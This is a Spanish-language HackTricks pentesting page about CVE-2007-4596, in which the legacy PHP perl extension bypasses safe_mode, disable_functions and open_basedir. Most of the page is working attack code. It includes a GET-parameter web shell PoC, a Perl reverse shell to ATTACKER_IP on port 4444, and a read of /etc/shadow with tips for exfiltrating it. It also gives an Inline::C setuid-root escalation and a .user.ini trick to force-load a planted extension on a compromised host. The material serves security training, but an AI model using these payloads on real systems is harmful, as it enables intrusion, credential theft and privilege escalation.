PHP Perl Extension Safe_mode Bypass Exploit

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Antecedentes

El problema registrado como CVE-2007-4596 proviene de la extensión PHP heredada perl, que incrusta un intérprete Perl completo sin respetar los controles de PHP safe_mode, disable_functions o open_basedir. Cualquier worker PHP que cargue extension=perl.so obtiene eval de Perl sin restricciones, por lo que la ejecución de comandos sigue siendo trivial incluso cuando todas las primitivas clásicas de spawn de procesos de PHP están bloqueadas. Aunque safe_mode desapareció en PHP 5.4, muchas pilas de hosting compartido obsoletas y laboratorios vulnerables todavía lo incluyen, por lo que este bypass sigue siendo valioso cuando llegas a paneles de control legacy.

Compatibilidad y estado de empaquetado (2025)

  • La última release de PECL (perl-1.0.1, 2013) apunta a PHP ≥5.0; PHP 8+ generalmente falla porque las APIs de Zend cambiaron.
  • PECL está siendo reemplazado por PIE, pero pilas más antiguas aún incluyen PECL/pear. Usa el flujo abajo en objetivos PHP 5/7; en PHP más recientes espera tener que downgradear o cambiar a otra ruta de inyección (por ejemplo, userland FFI).

Preparando un entorno de pruebas en 2025

  • Obtén perl-1.0.1 desde PECL, compílalo para la rama de PHP que planeas atacar, y cárgalo globalmente (php.ini) o vía dl() (si está permitido).
  • Receta rápida para laboratorio basada en Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Durante la explotación confirma la disponibilidad con var_dump(extension_loaded('perl')); o print_r(get_loaded_extensions());. Si falta, busca perl.so o abusa de entradas de php.ini/.user.ini escribibles para forzar su carga.
  • Debido a que el intérprete vive dentro del worker PHP, no se necesitan binarios externos: los filtros de egress de red o las listas negras para proc_open no importan.

Cadena de compilación en el host cuando phpize está accesible

Si phpize y build-essential están presentes en el host comprometido, puedes compilar y dejar perl.so sin invocar la shell del sistema operativo:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Si open_basedir está aplicado, asegúrate de que los .user.ini y .so colocados residan en una ruta permitida; la directiva extension= aún se respeta dentro del basedir. El flujo de compilación refleja el manual de PHP para construir extensiones PECL.

PoC original (NetJackal)

Desde http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, sigue siendo útil para confirmar que la extensión responde a eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Mejoras modernas de Payload

1. Full TTY sobre TCP

El intérprete embebido puede cargar IO::Socket incluso si /usr/bin/perl está bloqueado:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Incluso con open_basedir

Perl ignora open_basedir de PHP, por lo que puedes leer archivos arbitrarios:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Encamina la salida a través de IO::Socket::INET o Net::HTTP para exfiltrar datos sin tocar los descriptores gestionados por PHP.

3. Compilación inline para Privilege Escalation

Si Inline::C existe a nivel del sistema, compila helpers dentro de la petición sin depender de ffi o pcntl de PHP:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Enumeración Living-off-the-Land

Trata a Perl como una caja de herramientas LOLBAS — p. ej., extrae los DSNs de MySQL aunque mysqli no esté presente:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks